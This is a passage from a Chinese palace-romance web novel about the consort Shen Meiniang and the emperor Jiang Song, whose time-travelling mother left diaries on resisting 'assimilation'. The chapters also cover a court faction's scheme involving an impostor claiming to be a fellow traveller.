青词点头:“我要先将这人的头颅拎到阿盈、师姐师妹,还有我师父的墓前,好叫她们能够瞑目。” 观中被屠那日,师父让师姐带着她和阿盈一起逃的。 师姐为了掩护她们逃跑而死。 可李守义的人穷追不舍,阿盈见脱不了身,就趁她入睡时,故意出去引开了那些人。 阿盈死了,李守义也就放松不少,她得以混在死尸里逃过一劫。 青词是同辈里最不爱修习的,平日里也就是为了在观中混口饭吃,既不跟着师父好好学医术,也对练功、长生什么的没有兴趣。 后来无数个夜里,她都在后悔当日没有认真。 不然……或许她可以救下阿盈,或是其他师姐妹。 沈美娘没有留青词,道:“你去吧,至于谢阁老与陈家灭门一事,我会再慢慢打探。” 青词颔首:“这些年,多谢你了。” 沈美娘摇头:“不要说谢谢,咱俩不就是互相利用吗?” 青词:“美娘,我不知道你为何总是喜欢贬低你的善意……我知道,沈娘子,你就是很善良。” “不然那年逃荒,你就不会救奄奄一息的我了,更不会后来又救了沈温。”青词道。 她当年无处可去,又申冤无门,只能在绵州四处行乞。 可运气不好,不过一两年,又遇到了大旱。 若不是沈美娘当时救了她,她怕是得和师姐妹们同死了,也无人会再为她们昭雪。 青词将一个荷包递给沈美娘,道:“这是我画的符,能招财进宝,叫你日日有好运。” 沈美娘已经收了南州赵娘子的荷包,此时又收了青词的荷包,神色格外复杂。 得了,这下保平安和进财的都有了。 青词道:“我回绵州了,再见。” 沈美娘点头,待她的背影消失后,才捏着那荷包。 她又不信神神鬼鬼,怎么别人天天给她送这些啊? 沈温不知何时走到她身边,问:“美娘,你可是因青词姑娘的离开难过?” 那倒没有。 沈美娘从一开始就知道青词迟早要回蜀中,她就没想过两人会永远在一块。 她这是在目送——文人不都喜欢这么送朋友吗?她最近学的诗上就有很多。 沈美娘发觉沈温又和她隔得有点近,退后一些,道:“沈大人自重。” 沈温听到她的话,眼里闪过一丝受伤,努力挤出微笑:“美娘,你我之间,便只能如此吗?” 沈美娘在心里翻白眼。 问她做什么,有本事问姜颂去,看他不撕了沈温,再把他九族诛了。 沈美娘想到沈温还有利用价值,依旧是一副“因爱生恨”的模样,冷笑道:“沈温,沈大人,这是你欠我的。能像现在这样,你都得感谢我不是记仇的人。” 沈温听到这话有些愣神。 半晌,他才无奈失笑,道:“我明白了。” 沈美娘不想再和沈温纠缠,转身想要上马车,又听到他在身后道:“你说的对,是我欠你的。” 沈温:“只要你需要我帮忙,你随时都可以来找我。” 沈美娘没回身,好像传奇故事里决绝的女主角。 她心里却在想,要是有什么东西能把沈温的话录下来就好了。 下次来找他帮忙,他敢拒绝,沈美娘就把他现在的誓言放给他听。 可惜,这世上没有这种东西。 所以,男人的花言巧语,她从来都不信。 沈美娘回宫后,立刻就去姜颂的紫宸殿看他了。 他最近伤好得是差不多了,但还是大多数时候都躺在床上。 姜颂只要视线里看不到沈美娘,就喜欢问宫人她去哪里了,养个伤都不消停。 沈美娘每天都担心他因为话多,把伤口给崩裂了。 她简单换了身衣裳,也没更衣,结果她一进殿靠近姜颂,就看到他狐疑地盯着她。 片刻后,他肯定道:“你又去天牢呢?” 沈美娘怀疑姜颂是狗鼻子。 他这也能闻出来? 姜颂像是看穿了她的想法,道:“你身上脂粉味不对,肯定是去味道重的地方了。” 沈美娘爱干净,除了去天牢落井下石,她还可能去哪里? 沈美娘发觉姜颂天天在她怀里蹭来蹭去,她嫌他跟条狗一样烦人。 没想到是把她身上的味道给记得清清楚楚了。 沈美娘坦白:“臣妾是去了,不过臣妾本来也没打算骗陛下,只是陛下先猜出来了。” 姜颂问:“你干什么去呢?” 沈美娘把她今天和青词去天牢做的事全说了,她省略了其中比较血腥恶心,还有牵扯谢阁老的那部分。 她说完,生怕姜颂又说她是大善人,帮陈家和青词的师姐妹们报仇。 但姜颂却在听到沈温的名字时皱眉,等沈美娘说完,敏锐问:“你带他去做什么?” 沈美娘耿直道:“利用他的权势,帮臣妾瞒天过海。” 有能利用的人不用,是傻子。 姜颂不高兴:“那你怎么不带我?” 沈美娘目光落在姜颂还包着药的胸膛,他脸红了一下,强撑道:“你和我说,我让人带你去就是了。” 但她可是要把沈温稳住,方便以后继续利用的。 沈美娘不可能真这么说。 小皇帝胸口的伤还没好全,她怕把姜颂气得伤口裂开。 沈美娘柔柔道:“陛下,要好好养伤嘛……臣妾舍不得陛下去。” 姜颂听到这话晕乎乎的。 他觉得可能是太医院给的药里有安神的成分,不然他才不会这样。 不行! 姜颂克服这种奇怪的感觉。 他不能被沈美娘又忽悠了。 沈美娘每次都这样,三言两语就把他哄得晕头转向,让他忘了原本想说的话。 姜颂道:“我是有东西想给你看的!” 沈美娘不解,跟着姜颂走到紫宸殿的殿外有积雪的地方,那里居然有一排整整齐齐的“小鸭子”? 不过是雪做的小鸭子,都大差不差,不像是手捏的,像是一个模子里出来的。 姜颂献宝般,从袖中掏出一个奇奇怪怪的东西。 沈美娘觉得这个东西,长得有点像七娘冬天拿来往火盆里加木头用的火钳。 他指着一整排小鸭子,炫耀道:“这都是我用这个夹的!” 沈美娘看看一群小鸭子,又看看姜颂,问:“陛下,伤口没事吧?” 姜颂愣了一下,立刻道:“没事!我才没那么弱。” 沈美娘接过姜颂的东西,有些好奇:“这个也是陛下阿娘那个世界的东西吗?怎么用啊?” “我教你!”姜颂握住沈美娘的手。 他暖呼呼的手把沈美娘刚才在外面冻得冰冰的手包裹住。 沈美娘觉得这个感觉有点奇怪,有点酥酥麻麻的,像是有小针在刺她的手指。 姜颂和沈美娘隔得很近,她甚至能感受到姜颂可能是怕不成功,不由有些屏气凝神,还有他有力的心跳。 只听“啪”的一声,夹子合拢又猛地打开,一个圆滚滚的有点可爱的小鸭子就出现了。 沈美娘很是惊喜:“成功了!” 她笑得很意外,又很真实。 姜颂看到沈美娘露出这样的表情,难得像个十八岁的小姑娘。 他心里也格外高兴。 札记里说的果然没错,南方人就是喜欢玩雪。 美娘就是! 第44章 第44章老乡? 沈美娘确实很喜欢玩雪。 尤其她是此时手里有了个可以把雪夹成鸭子的工具后。 姜颂看到沈美娘在那里噼里啪啦夹了一堆,夹到后面,姜颂还听到她在说什么“怎么总是感觉还不够好看。” 他脑海里浮现一句话—— “不是,这也能卷?” 姜颂一直都知道沈美娘看似得过且过、活着就好的随意外表下,其实藏着一颗争强好胜、绝不服输的心。 但他还是觉得玩雪都得追求完美有点过了。 好在,沈美娘在夹了一排小鸭子,和姜颂的小鸭子们成双成对后就不再继续了。 沈美娘把夹子放好,向坐在一旁默默陪着她的姜颂跑过来。 姜颂以为沈美娘要抱他,已经伸出手,却被沈美娘像冰块般的手捂住了脖子。 姜颂“啊”了一声。 沈美娘见好就收,装作“无辜”道:“哎呀,臣妾忘了臣妾的手很冰了。” 姜颂被沈美娘的手冷了一下脖子,但还是很快反应过来。 他捂了捂脖子,摇头:“没事!” 像是为了证明自己没事,他想了想,往沈美娘那边凑:“美娘,你要不再来试试?这次我肯定准备好。” 沈美娘看姜颂是打算来真的,连忙握住他的手,道:“不必了,进殿就好了。” 她就是逗逗姜颂,他真的认真了,就不好玩了。 等和沈美娘躺在床上,姜颂才反应过来,问:“沈美娘,咱们刚才那是不是生活情/趣啊?” 沈美娘应了一声。 不然呢?她又不是没有汤婆子和暖手炉。 姜颂这才知道他又会错意了。 沈美娘看姜颂的反应就知道他是真以为自己手冷…… 她真的服了姜颂了。 有的时候单纯到,她反而会不好意思。 沈美娘避开他的伤口,环住姜颂的腰,道:“没事,本来就是臣妾想逗陛下开心。” 再说,这算什么情/趣啊。 沈美娘知道他们这些有文化的贵人,不是都喜欢什么猜典故、画峨眉的事吗? 她拿手去冰姜颂……好像也上不了什么台面。 姜颂干笑两声,哄她:“我很开心,真好玩!” 沈美娘看到姜颂这傻乎乎的样子,心里情绪有点复杂。 她的眼眶也酸酸的,和上次她看到姜颂给她挡剑时的情绪一样。 沈美娘不想沉浸在这种情绪里,问:“陛下的伤已经好很多了吧……” “已经好许多了,太医说再躺个几天,就完全不影响上朝了。”姜颂不明所以,“美娘,你突然问这个做什么?” 姜颂很快就知道沈美娘想做什么了。 他有些错愕:“我伤还没好全!” 沈美娘解衣襟系带的手一愣,旋即道:“臣妾有办法,不会碰到伤口的。” 姜颂迟疑道:“真的……” 沈美娘看姜颂这样,有些兴致缺缺:“那算了。” 姜颂连忙道:“别!我的意思是……没事的话就没关系!” 主要是万一伤口裂了,被叶先生知道,他会误会美娘是个坏姑娘。 沈美娘笑道:“好。” 姜颂发觉沈美娘真的好厉害。 即使在这种事情上,她也会好多寻常人不会的东西。 实在是令人望尘莫及。 不知道为什么,姜颂总觉得沈美娘这次和在玉泉观那次不一样。 总感觉她这次好像是在完成任务般。 末了,姜颂将她抱在怀里,问:“我让宫人送水进来?” 沈美娘肯定不喜欢黏糊糊的感觉。 他看沈美娘没回答,以为她不想动,又问:“那我等会儿再陪你去沐浴?” 沈美娘还是没回答。 姜颂有些奇怪,正想低头,看沈美娘是不是睡着了,就听到她的声音:“陛下,别动。” 姜颂这才发觉沈美娘的声音哽咽。 她……哭呢? 姜颂不知道沈美娘为什么会突然这样,有些手足无措。 沈美娘还是将脸埋在他怀里。 他听到沈美娘问:“陛下,你上次说你是爱我,才帮我挡剑的?” 姜颂:“嗯……有什么问题吗?” 没有。 就是沈美娘突然觉得,她现在可能有点喜欢姜颂。 就算她刚才故意做别的事打断奇怪的情绪,却还是被继续影响。 她不得不思考“爱”这种事情。 不过,谁喜欢皇帝,谁倒霉八辈子。 别说皇帝,以前寨子里的族长都有好几个姨娘,姜颂又不可能喜欢她一个。 沈美娘想了想,更用力地抱住姜颂。 她道:“没什么,臣妾就是觉得陛下很好。” 姜颂这次格外敏锐,他觉得沈美娘还是不对劲儿,追问:“美娘,你究竟怎么呢?” 沈美娘道:“陛下,臣妾希望陛下,能快点好起来。” 姜颂不解。 她解释:“臣妾喜欢和陛下做那种事情,陛下好起来了,我们就可以天天做了。” 她喜欢那种能把彼此揉进骨血的感觉,就好像成为了对方身体的一部分。 沈美娘在这种时候,才会确信怀里的人,永远不会背叛她。 姜颂脸红:“你说什么呢?” 天天都——那样会死人的好吧?! 沈美娘抬眼看他,眼里闪着兴奋的神色:“要是宋江江你只是个落魄公子就好了。” 她也只是个深山里的采茶里,或许也是在某年某月救了他的性命,也有可能是在卖奴隶的地方买了他。 她用微薄的钱财养活家人,姜颂也需要每日辛勤下地干活。 那样,她就不用担心姜颂会背叛、会改变。 他只能看到她,只能依附她。 入了夜,他们可以做快活事,天亮了,又忙于糊口。 周而复始,年复一年,直到去死。 姜颂听到这话,不理解沈美娘的意思,他正想问她,却听到她又道:“还是不了。” 姜颂要真是落魄公子,就给不了她荣华富贵了。 她可不要在小山村里度过籍籍无名的一生。 沈美娘道:“但陛下,还是要快些好起来。” 她喜欢和姜颂在一起,喜欢那种感觉。 在彼此都最脆弱,掌握着对方的时候,她就可以在某个瞬间,忘记姜颂是皇帝。 但也只在那个瞬间。 姜颂红了红脸,很轻地“嗯”了一声- 姜颂又休养了大半个月,胸口的伤才差不多彻底愈合。 沈美娘觉得姜颂这次的伤好得有些慢。 她隐约记得姜颂之前在芙蓉谷,那般重的伤明明都好得很快。 这次他只胸口一处伤就躺了这般久。 可惜青词已经回蜀中了,沈美娘不通医理,只能认为可能是因为姜颂那一剑在胸口,比他之前受的伤更致命。 等到他身体彻底好了,已经彻底入了夏。 不仅姜颂的伤养好了,认李姮为义女的事,沈美娘也办妥了。 尚仪局选了好几个封号,沈美娘和姜颂商量后,最终给了她“永康”的封号。 姜颂对于自己十八就有个十五岁的女儿,其实有些不适应。 不过姜颂想到这是沈美娘认的女儿,他做“爹爹”的肯定得好好表示一番。 除了公主本该有的待遇外,姜颂还在胜业坊给她赐了一处府邸,亲自题了匾额命人送去。 沈美娘没姜颂的实力,她就办了场赏花宴。 说是赏花宴,主要就是沈美娘来给李姮撑腰的。 她这些日子,听宝儿说,京中有人非议谢明安揭发夫君,还有李姮不为生父服孝的事。 沈美娘这场宴会把京中贵妇请了个便,宴会上她对李姮颇为照顾。 她对李姮笑道:“这都是母妃特地命人准备的姮娘喜欢的点心,你尝尝?” 李姮也很是意外地盯着眼前的点心。 这里头有几样是宫外点心铺的东西,沈美娘居然都为她备下了。 可见沈美娘有多上心。 李姮虽然对沈美娘从陌生人变姐姐,现在又变成母亲的事有些不太适应。 但沈美娘如此这般,她心中也不得不感动。 李姮道:“多谢……母妃。” 沈美娘笑着应了一声,看向谢明安,道:“本宫前不久还和陛下说,姮娘生得跟个小仙娥一样,就该多穿颜色鲜亮的衣裳才是。” 她的目光扫了扫在座的妇人们,笑意愈深:“本宫和陛下说,京中有人说姮娘该为罪人服孝……都不说陛下如今好好的,姮娘服哪门子的孝,就说姮娘这般美,穿素净衣裳多浪费啊?” 贵妇们听到这话,明白沈美娘在说什么,纷纷心虚低头。 她们都觉得沈美娘和皇帝不会真对谢明安母女有多上心,才在私底下随口说几句…… 谁知道这沈贵妃竟消息如此灵通不说,还特地为李姮办了这场赏花宴。 沈美娘又看向坐在下首的谢颖,笑意盈盈问:“谢娘子,你说呢?” 这些话确实是谢颖故意让人在京中贵女间散播的,但她没想到沈美娘能查到她身上来。 谢颖额上冒出冷汗,连忙道:“是,贵妃娘娘说的有理。” 沈美娘觉得给谢颖的这个吓唬应该够了,便挪开了目光。 谢颖此刻却丢了脸。 在座稍微聪明点的贵女,几乎就明白谢颖做了什么。 有人默默记住谢颖,并且打算以后离这种蠢货远点。 敢议论天家,还事后被发现…… 他们谢家在先帝朝就喜欢这么干,是这些年陛下的好脾气给了他们错觉,觉得可以故技重施呢? 谢颖看到其他人的眼神,眼里闪过一丝恨意。 这个沈美娘一个卑贱庶民,不就是仗着陛下宠爱她吗? 她看向身边坐在她身边,一直默默不语却打扮得很出众的女子。 只要今日成功……这个沈美娘给她等着,她一定不叫她有好下场! “陛下驾到——” 沈美娘刚敲打完在座的人,就听到太监的声音,低眉想了想,牵起李姮的手走到姜颂面前。 她道:“见过陛下。” “姮娘,快叫父皇。”沈美娘又笑着对李姮说。 李姮纠结了片刻,规矩行礼:“女儿见过父皇。” 姜颂这次却格外配合——沈美娘事先和他讲了今日安排,他就是故意过来帮忙的。 他也颇为“慈爱”地笑道:“免礼。” “坐吧,站着说话多累。” 沈美娘听到姜颂的话,觉得他这还真像个好父皇的样子,不由多看了他几眼。 他平常私底下动不动就脸红、结巴,幸好到了大场面还是能装出几分沉稳来。 沈美娘正准备伸手捏姜颂的手逗他玩,就看到谢颖突然起身行礼。 沈美娘正疑惑谢颖想干什么,就听到她道:“陛下,臣女有想给陛下引荐一位娘子……” “咳咳。” 正在喝茶的姜颂,差点一口茶喷了出来。 他压低声音吐槽:“他们谢家怎么总是干拉皮条和相亲的事啊……” 以前他小时候好歹还是谢家的男的干,怎么现在居然让家里未嫁的小辈来呢? 姜颂吐槽完,有些不耐烦道:“不必了。” 他知道的,这种时候可不能有一点犹豫。 不然沈美娘肯定觉得他也有那个意思。 别想害他 和美娘闹矛盾! 谢颖还没回话,那个女人却已经站起了身,声音坚定道:“奇变偶不变。” 在座的妇人都被惊住了。 不说别的,就算陛下对这个女人有意,她也不可如此无礼。 姜颂盯着眼前的女人,有些失语。 沈美娘听到女人嘴里不像诗句的话,又看姜颂的表现。 奇奇怪怪的词儿,配上这人如此大胆的举动…… 这是姜颂他老乡? 第45章 第45章清醒的痛苦,还是麻木的…… 姜颂知道眼前女人说的这句话下半句是什么。 他有一本《穿越必背暗号100句》里,开篇第一句话就是“奇变偶不变,符号看象限”。 那是妈妈写下来用来提醒自己,不要忘记在“那个世界”活过的证据之一。 姜颂从小就把那本书里的话背得滚瓜烂熟,就等着长大以后,有机会和家乡人相认。 说他此时不激动是假的,但有了南州的那些日子,姜颂已经比从前成熟很多。 他没有直接按女人预想的那般回答下一句。 姜颂想了想,先小声和沈美娘道:“美娘,你帮我看看她有没有问题。” 沈美娘听到这话傻了。 她又不是姜颂娘的老乡,她哪里知道眼前的人有没有问题。 姜颂这是把她当无所不能的天神呢? 但沈美娘没有拒绝姜颂,她看到姜颂反问女人:“你叫什么名字?” 女人笑得明媚:“我叫宋蔷。” 沈美娘看到姜颂的眼微微睁大,像是颇为意外—— 怎么?这女人不仅是他老乡,还是他亲戚啊? 对哦,“宋江江”……就是姓“宋”。 宋江江没有继续问女人,只是盯着她,似乎是在思考什么。 姜颂道:“你先坐吧。” 沈美娘不知道姜颂要做什么,就听到他唤了宫女给他添茶。 沈美娘看到他故意将宫女给他刚倒好的茶水碰倒了。 宫女连忙跪下连连请罪,姜颂盯着眼前的人,脸上是难得的冷漠神色。 沈美娘看他这样,立刻明白姜颂想做什么。 果然,下一刻,姜颂就冷声道:“来人——” 他故意顿了很长时间。 可“宋蔷”没有如他想要的那般开口为宫女求情。 沈美娘看着那个“宋蔷”,她只是跟着其他人乖乖跪在人群中。 沈美娘明白姜颂试探的事情,应该有了答案,拽住他的袖子,求情道:“陛下,今日赏景是好事,何必如此动怒?” 她看向瑟瑟发抖的宫女,道:“还不下去?等着受罚吗?” 姜颂闻言,拉起沈美娘的手直接起身离开,没有再多看谢颖和那个“宋蔷”一眼。 直到两人离开御花园,姜颂才很是生气道:“谢家也太讨厌了,居然敢骗我!” 沈美娘安慰他:“陛下,那人说不定当真是您和文昭皇后的老乡呢?” 姜颂欲言又止,让跟着的宫人离远些了,才道:“宋蔷……是我姨母的名字。” 他姨母怎么可能会是那么含情脉脉地看他啊? 说不定是谁不知从何处看到了他娘的东西,却可能是一知半解,以为“宋蔷”是他的哪个小表妹。 “再说,她要真是我老乡,刚才我要罚那个宫女,她又为何会不求情呢?”姜颂道。 沈美娘想了想,道:“兴许,她是知道这里的规矩,为求自保,才冷眼旁观?” 姜颂道:“那我才不要和她相认,这种人就算是我家乡的人,她也不可能听得懂我说话。” 姜颂知道在那个世界,有的人比这里的人都封建,满脑子都是糟粕。 他道:“我怀疑是有人动了我娘的东西……美娘,你先回宫,这件事我会自己查。” 沈美娘点头,但她看姜颂没往紫宸殿去召谢家人进宫,反而走了相反的方向。 她思考片刻,选择跟了上去。 沈美娘问:“陛下,这是要去哪里?要不还是臣妾陪着您同去?” 姜颂摇头:“不用……我就是想去我娘从前住过的宫殿里,找一样东西。” 那个女人叫“宋蔷”,而他记得,妈妈只在一本书里提过姨母的大名。 他想看看那本书是不是被人动过。 沈美娘依旧道:“陛下,想来那些东西很多,不如臣妾陪您一起找吧,会更快找到。” 姜颂还是拒绝:“不用。” 沈美娘看他这次态度格外坚决,又拉住他的手,哄道:“宋江江,我就是担心你,我想陪着你……” “你让我和你一起吧。” 沈美娘是迎着光站的,绚烂的午后明光,此刻浸透了她的鬓边的碎发,也将她的眼睛照得像最明澈的琥珀。 她还说着温柔又动听的话,让姜颂根本拒绝不了。 他沉默许久,道:“美娘,那些东西和《中小学生守则》一样,它们不一定会让你觉得快乐。” “有时候,知道的越多就会越痛苦。”姜颂眼里带着几分怅然,“它会让你与这个时代愈加格格不入。 “我宁愿痛苦。”沈美娘摇头,“我想陪着你一起痛苦。” 姜颂听到这话愣住。 好一会儿后,他才握住沈美娘的手:“我带你去。” 沈美娘跟在姜颂的身后,夏日傍晚的光格外刺眼,让她不得不眯了眯眼。 她今天一定要跟着姜颂去,当然不是因为什么爱他,更不是为了与他一起痛苦。 沈美娘只是为了得到在姜颂心里更特殊的地位。 可是被他这样信任地拉着手,沈美娘心里除了几分心虚外,也有几分异样的感觉。 但沈美娘不喜欢这种感觉,她抬头看了看刺眼的太阳,强迫自己不要想太多。 姜颂带她走了一个多时辰,在一座宫殿前停下。 沈美娘站在宫殿前,即使入宫已经很久,可她还是不得不被眼前的宫殿震撼。 她已经不像刚入宫那般,只能说得出“好高”、“好大”这种话。 沈美娘仔细观察了这座修得恢宏大气,却又在细节上极为考究的宫殿。 这座宫殿很显然是花费了不少心思的。 姜颂告诉她:“这座宫殿叫‘瑶华宫’,是我父皇为我娘修建的。” 这个沈美娘知道,民间传奇编排先帝都会提到这座宫殿,是非常著名的民脂民膏成果。 沈美娘跟着姜颂进入这座宫殿。 正殿殿内装饰得很是繁复,边边角角都是金漆玉饰,即使如今已然不住人了,也不显得丝毫破败。 姜颂又问了她一遍:“美娘,你真的想去看那些东西吗?” 沈美娘目光从宫殿的奇珍异宝收回来,用力点头。 姜颂闻言,拉着她的手从正殿离开,经过回转的廊道,登上了一座阁楼。 这里视野开阔,几乎能将整座宫城俯视,沈美娘有些好奇地往下张望。 “小心。”姜颂一把拽住她。 沈美娘点头,往姜颂那边挪了挪。 他拿着钥匙开阁楼的门,边道:“这里离天很近,我娘当年回家的时候,就是从这里回去的……” 沈美娘想到姜颂说他娘不是去世是回家的事,又听到他这话…… 姜颂他娘该不会是从这里跳下去,摔死的吧? “美娘,你怎么呢?”姜颂看沈美娘默默出神问道。 沈美娘:“没什么!” 她又不能说她在想姜颂他娘其实死了…… 姜颂已经打开了阁楼门,他看着里面的东西,道:“美娘,进来吧。” 沈美娘原以为这阁楼修得如此精巧,又有边边角角都是珍宝装饰的大殿在前,这座上了锁的阁楼,里头肯定有很多了不起的东西。 可是没有,里面没有她猜想的奇花异草,也没有吃了可以飞升的灵丹妙药。 只有几排书柜,整整齐齐地放着许多书,每一本书都做了防尘和防潮的处理。 沈美娘有些奇怪:“这些书是……” 姜颂:“都是我娘写的画的,有日记、手札、随笔,也有漫画、歌词本……” 他又细心地和沈美娘讲了什么这些东西都是什么。 沈美娘勉勉强强理解了个大概。 但她还是不明白,问:“文昭皇后写这些东西是为了什么?” 姜颂:“为了不被同化。” 他介于青年与壮年之间的声音,还带着几分稚嫩,却格外坚定。 “同化?”沈美娘反问 。 这不是她第一次听姜颂说这个词儿。 上次,他说过他娘对他的期待,就是要他永远不被同化。 这次姜颂又提到了这个词儿。 沈美娘上次大致能猜出这是什么意思,她以为是和“习惯”、“顺从”差不多的意思。 但此刻她看到眼前这么多的书籍,确信她应当是理解错了。 “同化”应该比她想象得要恐怖千万倍。 姜颂走到书架的最前面,抽出了其中一本书,翻到其中某一页。 上面的字和《中小学生守则》一样,都是简化的,笔迹也不像是用毛笔写的,因为那些字的墨痕都很均匀,摸起来还滑滑的。 在书的第一页,写了“宋薇”两个字,应该是姜颂娘的名字。 姜颂将上头写着的内容,念给沈美娘听:“‘穿越呢?会不会觉醒什么金手指,是不是可以去仙门拜师?飞升上界,破碎虚空!’” “‘救了个人,虽然同桌总说路边的男人不要捡,但……算了,古代又没救护车和警/察/局,救救他得了。’” “‘服了,我和那个男的连语言都不通,给我干哪来了?这还是国内吗?’” 姜颂将书合上,他道:“这是我娘刚到这里时的写的日记,你觉得她是个什么样的人?” 沈美娘虽然在其中有很多听不懂的词语,但还是能大致有个印象。 姜颂的娘,应该和他一样,都是善良正直,还爱多管闲事的人。 可能也是个活泼的人。 姜颂显然并不是真的要沈美娘的答案,没等她开口,就又抽了一本中间的书出来。 这次他没有读出来,而是给沈美娘看了。 因为这本书不再是用简化的字写的,是用的大燕的文字。 沈美娘翻了好几页,发现也是本日记。 不同于刚才的惊喜、好奇和期待,这本日记开始变得忧愁、怅然…… 即使在这本日记里,笔者在大燕有了情郎、有了好朋友,也学会了这个世界的语言,但她的字里行间却透着难过,时不时就会提到父母和姐姐。 还有学校门口的烧烤摊、偷偷点的奶茶,就连最讨厌的物理老师那口方言,都让她想念。 姜颂又抽了好几本给沈美娘看。 在那些日记里,宋薇逐渐发现情郎其实是个不把除他以外所有人当人看的人,还发现几个朋友也都一言难尽。 有流连青楼、却又看不上歌舞乐妓的,也有杀人不眨眼的帝王鹰犬,最能说得来话的小姑娘,其实是她情郎的妻子…… 甚至小姑娘还会劝她忍忍,这个时代的男人都这样。 说她能遇到她情郎,已经是天大的福气了。 宋薇觉得这群人全是疯子。 她却发现自己在某个瞬间,竟然也会萌生让人把伺候不周的宫人拖出去杖毙的念头…… 沈美娘看到女人从难过,到怀疑,再到彻底崩溃,到了后面,日记里几乎只有“我想回家”四个字。 姜颂将日记合上。 他道:“这就是同化。” 沈美娘这下终于明白姜颂对“同化”的抗拒从何而来了。 想要在这个世界活下来,就必须顺应这个世界。 否则,就会被这个世界磋磨。 姜颂道:“我娘只在最后一本日记里,提过我姨母的大名,我刚才看了,果然那本日记放的位置不对。” 想来有人进来过,但可能是时间不够,走得匆忙,就漏了马脚。 姜颂将书重新放好,他回过头,看到沈美娘在看他,眼里是复杂和心疼的神色。 他挤出一个笑,道:“美娘,你不要可怜我,我不可怜的。” 姜颂又试图转移话题:“我娘以前和我说过,如果我有喜欢的人,就可以给她看这些东西……让她可以理解我,让她也能够知道千百年后的世界。” 但他觉得这些东西太沉重了。 他在遇到沈美娘前,也从未希冀这个时代有人能听懂他说话。 沈美娘没说话,只是用力抱住姜颂,问:“那后来宋娘子呢?” 她这次没有再称呼姜颂的娘为“文昭皇后”,也突然明白姜颂为何要尊谢明仪为太后,而不是他的生母。 可能,他也知道,他娘一点也不稀罕做太后。 但沈美娘刚问出口,就有些后悔了。 姜颂和他说过很多次“母亲回家了”,日记里的她也那般崩溃……那答案不就是只有一个吗? 宋薇死了。 可沈美娘还是很希望她没死。 “后来我娘她想开了——” 他笑道:“这里的人都想同化她,她偏不要变成那样!” 姜颂指着书柜里剩下的书,很是自豪:“我娘就写下了自己所有还能记起来的,关于那个世界的记忆,一次次反反复复提醒自己。” “我娘没有被同化,我也可以!”姜颂道。 沈美娘看姜颂这样坚定的语气,不由被他吸引了所有的目光。 她第一次发现,姜颂并不是未经捶打的无知小儿。 他是在见过这个世界的黑暗后,依旧选择了拥抱明光。 哪怕,他其实有无数个同流合污的机会。 第46章 第46章沉迷看书,学会玩梗…… “老师,学生也是不愿意让叶党的人,独得帝王宠爱,才叫人走了这步棋。”郑尚书跪着请罪。 “那按你的意思是说,老夫还得谢你不成。”谢阁老将新送来的国史合上,“那个‘宋蔷’不是你外室女吗?” 郑尚书连忙磕头:“学生、学生也是怕外人信不过,才……” “够了。”谢阁老看向同样跪在地上,却始终没有开口的沈温,“却寒跪着做什么?这件事与你何关?” 沈温道:“学生与郑兄相交颇深,却没能阻止郑兄,学生自然也有过错。” 谢阁老满意点头:“好啦,都起来罢。我也不指望你们能斗赢叶明舟,只盼着你们都给我省点心。” 他问郑尚书:“处理干净了吗?” 郑尚书连忙回答:“都处理了!殿中省和内侍省参与这件事的人,学生都处理妥当了,绝对查不到咱们头上来。” 谢阁老不置可否。 一旁的沈温开口道:“郑兄之女,自幼在乐坊长大,叶党与我常有诗歌唱和的几位大人亦常去风月之地。想来,就算是陛下又如何能肯定昨日那局,一定与他们叶党无关呢?” 谢阁老笑道:“朝堂上斗得你死我活,但却寒私下与他们不都是朋友吗?若你如此行事,恐怕招致非议。” “学生能有今日,皆是老师大恩……别说名声受损,便是万死,学生也甘愿。”沈温道。 谢阁老点头:“那就按你说的来吧。” 他又对郑尚书道:“你那个外室女,也处理了。” 郑尚书原想求情,但想了想,还是点了头。 谢阁老:“你先退下吧,却寒留下。” 等屋内只剩下他与沈温,谢阁老才道:“你会不会觉得,老夫让郑愔杀女,有些太无情了。” “郑兄私自行事,都未知会老师一声,只是叫他失个女儿,已是仁慈至极了。”沈温道。 沈温投谢党这五年,怎会还不清楚谢阁老的性子? 比起郑愔这件事没做好,谢阁老真正不满意的是郑愔居然敢私自行事。 这个男人逐渐开始像枯树枝般皱起的肌肤下,藏着他对死亡的畏惧,和被后起之秀取代的深深惧怕。 谢阁老害怕的不仅是叶党、叶明舟,即使是沈温、郑愔,他也同样提防。 “这次递来的国史就修的比上次好许多,这一卷就这样呈给陛下吧。”谢阁老喝了口茶又道,“却寒在吏部也待了很久,该想办法往上升一升了。” 如今的吏部尚书不涉党争,也是当年沈温当年投卷时,京中最赏识他才华之人。 这些年他与沈温私交颇深,两人常同赴诗会,策马同游。 沈温没有丝毫犹豫:“学生早就做了弹劾准备,既然老师也有此意,学生等会儿就叫人去做。” 谢阁老看沈温的举动,对他很是满意。 凉薄之人,才可做大事。 谢阁老道:“不过郑愔说的也有理。陛下从前以守孝之名不愿选秀,如今既然已经纳了贵妃,为了国祚社稷,是该准备选秀了。” 沈温神情微滞,道:“学生以为,此事会不会操之过急?” “难不成你 要等那个沈贵妃生下皇长子,顺理成章做了皇后,再急吗?“谢阁老反问。 沈温忙道:“学生会命人上书选秀事宜。” 谢阁老这才点头,放了沈温离开。 看他离开的身影,谢阁老总觉得他刚才因为选秀之事迟疑不太对。 这个沈温不是素来最听他话的吗? 况且,沈温家族中的女人有机会进宫为妃,不该是天大的好事吗?他怎么看起来像是不太希望陛下选秀。 这个沈温实在是有些奇怪了- “美娘,你怎么还在这里看书?”宝儿道。 她今日特地从尚食局早早回了关雎宫,可是韦阿宜却说沈美娘又到瑶华宫来看书了。 宝儿连忙就跑来这里找她。 “你知不知道,我听说,前朝有好几个大臣都给陛下上书让他选秀了。”宝儿抓住沈美娘的手摇了摇。 沈美娘这才放下手里的书,看向宝儿:“所以?” 宝儿急道:“你就不担心陛下选秀,新秀入宫吗?” “不担心。”沈美娘摇头,“他不会答应的。” 姜颂既然不想被这个时代同化,那他一定不会答应这件事。 宝儿看沈美娘如此肯定,道:“美娘,你如此肯定,是因为你喜欢陛下,相信陛下为了你一定不会答应吗?” 沈美娘以前还说她糊涂,她看沈美娘也一样,是为了爱情会不清醒的人。 沈美娘听到这话,“扑哧”一声,笑出声:“喜欢皇帝?我又不是神经病,我喜欢皇帝作甚。” 她怕宝儿不理解“神经病”的意思,还贴心解释:“神经病呢,差不多就是疯子的意思。” 沈美娘这些日子,白日没事就在瑶华宫这里看这些书。 她越看,越觉得难怪宋江江会成为那个样子。 从小看这些书长大的话,不想长成他那样都难。 宝儿不解:“可是……难道你就不喜欢陛下吗?” 